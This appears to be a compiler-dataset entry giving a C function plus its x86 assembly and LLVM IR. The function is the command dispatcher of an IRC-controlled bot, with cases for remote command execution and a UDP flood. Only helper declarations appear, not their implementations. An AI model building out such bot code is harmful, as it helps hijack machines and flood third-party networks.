#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct irc {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ enterChan(struct irc *, char *);
int /*<<< orphan*/ execCmd(struct irc *, char *);
int /*<<< orphan*/ exitServ(struct irc *);
int /*<<< orphan*/ gettoken(char **, char, char *);
int /*<<< orphan*/ sendHours(struct irc *);
int /*<<< orphan*/ sendMsgChan(struct irc *, char *);
int /*<<< orphan*/ sendMsgUser(struct irc *, char *, int /*<<< orphan*/);
int /*<<< orphan*/ sendUdpFlood(struct irc *, char *);
void execOrder(struct irc *bot, int num, char *next) {
  char *tmp;
  switch (num) {
  case 0:
    sendMsgUser(bot, next, gettoken(&tmp, ' ', next));
    break;
  case 1:
    sendMsgChan(bot, next);
    break;
  case 2:
    execCmd(bot, next);
    break;
  case 3:
    sendHours(bot);
    break;
  case 4:
    enterChan(bot, next);
    break;
  case 5:
    exitServ(bot);
    break;
  case 6:
    sendUdpFlood(bot, next);
    break;
  }
}


x86 assembly (clang, -O0):
<execOrder>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %rdx,-0x18(%rbp)
mov    -0xc(%rbp),%eax
mov    %rax,-0x28(%rbp)
sub    $0x6,%rax
ja     124d <execOrder+0xcd>
mov    -0x28(%rbp),%rax
lea    0xe51(%rip),%rcx
movslq (%rcx,%rax,4),%rax
add    %rcx,%rax
jmp    *%rax
mov    -0x8(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x18(%rbp),%rax
mov    %rax,-0x30(%rbp)
mov    -0x18(%rbp),%rdx
lea    -0x20(%rbp),%rdi
mov    $0x20,%esi
call   1040 <gettoken@plt>
mov    -0x38(%rbp),%rdi
mov    -0x30(%rbp),%rsi
mov    %eax,%edx
call   1080 <sendMsgUser@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1060 <sendMsgChan@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1050 <execCmd@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
call   1030 <sendHours@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   10a0 <enterChan@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
call   1090 <exitServ@plt>
jmp    124d <execOrder+0xcd>
mov    -0x8(%rbp),%rdi
mov    -0x18(%rbp),%rsi
call   1070 <sendUdpFlood@plt>
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<execOrder>:
push   %r14
push   %rbx
push   %rax
cmp    $0x6,%esi
ja     11be <execOrder+0x3e>
mov    %rdx,%r14
mov    %rdi,%rbx
mov    %esi,%eax
lea    0xe68(%rip),%rcx
movslq (%rcx,%rax,4),%rax
add    %rcx,%rax
jmp    *%rax
mov    %rsp,%rdi
mov    $0x20,%esi
mov    %r14,%rdx
call   1040 <gettoken@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
mov    %eax,%edx
call   1080 <sendMsgUser@plt>
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret
mov    %rbx,%rdi
mov    %r14,%rsi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1060 <sendMsgChan@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1050 <execCmd@plt>
mov    %rbx,%rdi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1030 <sendHours@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    10a0 <enterChan@plt>
mov    %rbx,%rdi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1090 <exitServ@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1070 <sendUdpFlood@plt>

LLVM IR (-O0):
%struct.irc = type { i32 }
define void @execOrder(%struct.irc* %0, i32 %1, i8* %2) {
%4 = alloca %struct.irc*
%5 = alloca i32
%6 = alloca i8*
%7 = alloca i8*
store %struct.irc* %0, %struct.irc** %4
store i32 %1, i32* %5
store i8* %2, i8** %6
%8 = load i32, i32* %5
switch i32 %8, label %37 [
i32 0, label %9
i32 1, label %15
i32 2, label %19
i32 3, label %23
i32 4, label %26
i32 5, label %30
i32 6, label %33
]
9: ; preds = %3
%10 = load %struct.irc*, %struct.irc** %4
%11 = load i8*, i8** %6
%12 = load i8*, i8** %6
%13 = call i32 @gettoken(i8** %7, i8 signext 32, i8* %12)
%14 = call i32 @sendMsgUser(%struct.irc* %10, i8* %11, i32 %13)
br label %37
15: ; preds = %3
%16 = load %struct.irc*, %struct.irc** %4
%17 = load i8*, i8** %6
%18 = call i32 @sendMsgChan(%struct.irc* %16, i8* %17)
br label %37
19: ; preds = %3
%20 = load %struct.irc*, %struct.irc** %4
%21 = load i8*, i8** %6
%22 = call i32 @execCmd(%struct.irc* %20, i8* %21)
br label %37
23: ; preds = %3
%24 = load %struct.irc*, %struct.irc** %4
%25 = call i32 @sendHours(%struct.irc* %24)
br label %37
26: ; preds = %3
%27 = load %struct.irc*, %struct.irc** %4
%28 = load i8*, i8** %6
%29 = call i32 @enterChan(%struct.irc* %27, i8* %28)
br label %37
30: ; preds = %3
%31 = load %struct.irc*, %struct.irc** %4
%32 = call i32 @exitServ(%struct.irc* %31)
br label %37
33: ; preds = %3
%34 = load %struct.irc*, %struct.irc** %4
%35 = load i8*, i8** %6
%36 = call i32 @sendUdpFlood(%struct.irc* %34, i8* %35)
br label %37
37: ; preds = %3, %33, %30, %26, %23, %19, %15, %9
ret void
}

LLVM IR (-O2):
%struct.irc = type { i32 }
define void @execOrder(%struct.irc* %0, i32 %1, i8* %2) {
%4 = alloca i8*
%5 = bitcast i8** %4 to i8*
switch i32 %1, label %21 [
i32 0, label %6
i32 1, label %9
i32 2, label %11
i32 3, label %13
i32 4, label %15
i32 5, label %17
i32 6, label %19
]
6: ; preds = %3
%7 = call i32 @gettoken(i8** %4, i8 signext 32, i8* %2)
%8 = call i32 @sendMsgUser(%struct.irc* %0, i8* %2, i32 %7)
br label %21
9: ; preds = %3
%10 = tail call i32 @sendMsgChan(%struct.irc* %0, i8* %2)
br label %21
11: ; preds = %3
%12 = tail call i32 @execCmd(%struct.irc* %0, i8* %2)
br label %21
13: ; preds = %3
%14 = tail call i32 @sendHours(%struct.irc* %0)
br label %21
15: ; preds = %3
%16 = tail call i32 @enterChan(%struct.irc* %0, i8* %2)
br label %21
17: ; preds = %3
%18 = tail call i32 @exitServ(%struct.irc* %0)
br label %21
19: ; preds = %3
%20 = tail call i32 @sendUdpFlood(%struct.irc* %0, i8* %2)
br label %21
21: ; preds = %3, %19, %17, %15, %13, %11, %9, %6
ret void
}